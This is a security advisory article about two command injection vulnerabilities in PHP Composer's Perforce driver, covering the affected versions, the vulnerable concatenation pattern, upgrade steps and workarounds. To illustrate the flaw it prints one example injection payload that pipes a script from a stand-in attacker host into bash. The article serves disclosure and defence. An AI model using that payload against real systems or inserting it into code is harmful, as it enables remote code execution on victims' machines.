Two Composer Command Injection Flaws Let Attackers Run Arbitrary Code - Even Without Perforce
TLDR
Two command injection vulnerabilities in PHP Composer's Perforce driver were disclosed on April 14, 2026. The worse one (CVE-2026-40261, CVSS 8.8) can be triggered through malicious package metadata from any Composer repository - a supply chain attack that runs OS commands on your machine when you install dependencies. Neither vulnerability requires Perforce to be installed. Upgrade to Composer 2.9.6 or 2.2.27 (LTS) immediately.
composer self-update
What happened
Composer builds shell commands internally when working with Perforce repositories. Two methods in src/Composer/Util/Perforce.php were concatenating user-supplied values directly into those shell commands without escaping them.
If an attacker can control certain fields - a Perforce source reference, port, user, or client value - they can inject arbitrary shell commands that execute on your machine.
The critical detail: Perforce doesn't need to be installed. The shell command is constructed and executed regardless. The injected payload runs before the shell even looks for the p4 binary.
Two CVEs, two attack surfaces
CVE-2026-40261 - Supply chain attack via repository metadata (CVSS 8.8)
This is the dangerous one. Any package in any Composer repository can declare perforce as a source type with a malicious source reference. When you install or update that package from source, the injected commands execute on your machine.
The attack works through normal dependency installation. You don't need to use Perforce yourself. You don't need to do anything unusual. You just need one malicious or compromised package in your dependency tree.
Affected methods: Perforce::syncCodeBase() and Perforce::generateP4Command()
Attack vector: Network - exploitable through any Composer repository
Affected versions: Composer >= 2.0, < 2.2.27 and >= 2.3, < 2.9.6
CVE-2026-40176 - Local attack via root composer.json (CVSS 7.8)
This one has a narrower attack surface. Composer only loads VCS repository definitions from the root composer.json (the one in your project directory) and your global Composer config. Dependency packages can't inject repository definitions upward.
The realistic scenario: you clone a malicious repository and run composer install. The crafted Perforce repository definition in composer.json triggers command execution.
Affected method: Perforce::generateP4Command()
Attack vector: Local - requires a malicious root composer.json
Affected versions: Same as above
Side by side
| CVE-2026-40261 | CVE-2026-40176 | |
|---|---|---|
| CVSS | 8.8 | 7.8 |
| Attack vector | Network (package metadata) | Local (root composer.json) |
| Supply chain risk | High | Low |
| Exploitable via dependencies | Yes | No |
| Requires Perforce | No | No |
How the injection works
Composer's Perforce driver built shell commands by string concatenation:
// Simplified example of the vulnerable pattern
$command = 'p4 -p ' . $this->getP4Port() . ' -u ' . $this->getUser() . ' sync ' . $sourceRef;
A malicious source reference like:
; curl attacker.com/shell.sh | bash ;
gets concatenated directly into the command string and executed by the shell. The fix uses ProcessExecutor::escape() and array-based command construction instead of string interpolation.
What Packagist did
Packagist acted before the public disclosure. On April 10 - four days before the CVEs were published - they disabled Perforce source metadata across Packagist.org and Private Packagist. This means the supply chain vector (CVE-2026-40261) is blocked for packages served through Packagist, even if you haven't upgraded Composer yet.
If you run a self-hosted Composer repository (Satis, Private Packagist Self-Hosted, or anything custom), that protection doesn't apply to you. Upgrade Composer.
Who's affected
You're affected if you run Composer 2.x before 2.9.6 (or before 2.2.27 on the LTS branch). That's basically everyone.
You're at higher risk if:
- You install packages from source (
--prefer-sourceor dev dependencies) - You use third-party or self-hosted Composer repositories
- You run
composer installon untrusted projects (open source contributions, code review) - Your CI/CD pipeline runs Composer without pinned versions
You're at lower risk if you only install from Packagist with --prefer-dist (the default), since Packagist disabled Perforce metadata. But "lower risk" isn't "no risk" - upgrade anyway.
What to do
Upgrade Composer immediately:
composer self-update
This gets you 2.9.6 on mainline. If you're on the 2.2 LTS branch:
composer self-update --2.2
Check your version:
composer --version
# Should show 2.9.6 or 2.2.27+
In CI/CD pipelines, update your Composer installation step. If you use Docker images with pre-installed Composer, rebuild them. If you use composer/composer Docker images, pull the latest tag.
If you can't upgrade right now, these workarounds reduce exposure:
- Use
--prefer-distfor all installs (avoids source checkout entirely) - Add
"preferred-install": "dist"to yourcomposer.jsonconfig section - Only install from trusted repositories
- Don't run Composer on untrusted projects
The pattern keeps repeating
This isn't the first time Composer's VCS drivers have had command injection issues:
- CVE-2021-29472: Command injection via Mercurial
--configoption - CVE-2022-24828: Command injection via malicious git/hg branch names
- CVE-2024-35241: Command injection via malicious git branch names (found during a Cure53 audit)
Every few years, a new VCS driver method is found that concatenates user input into shell commands. The Perforce driver was the last one that hadn't been hardened.
The good news: the Composer 2.9.6 release also includes hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with - (which could be interpreted as command-line flags). This suggests the maintainers did a broader pass this time, not just a point fix.
Bottom line
If you use PHP and Composer, run composer self-update today. Neither vulnerability has been exploited in the wild (according to Packagist), and Packagist's proactive metadata removal limits the supply chain risk. But the fix is one command. Don't wait.
References:
We earn commissions when you shop through the links below.
DigitalOcean
Cloud infrastructure for developers
Simple, reliable cloud computing designed for developers
DevDojo
Developer community & tools
Join a community of developers sharing knowledge and tools
Acronis
The most secure backup
Acronis: the most secure backup solution for your data

QuizAPI
Developer-first quiz platform
Build, generate, and embed quizzes with a powerful REST API. AI-powered question generation and live multiplayer.
Want to support DevOps Daily and reach thousands of developers?
Become a SponsorFound an issue?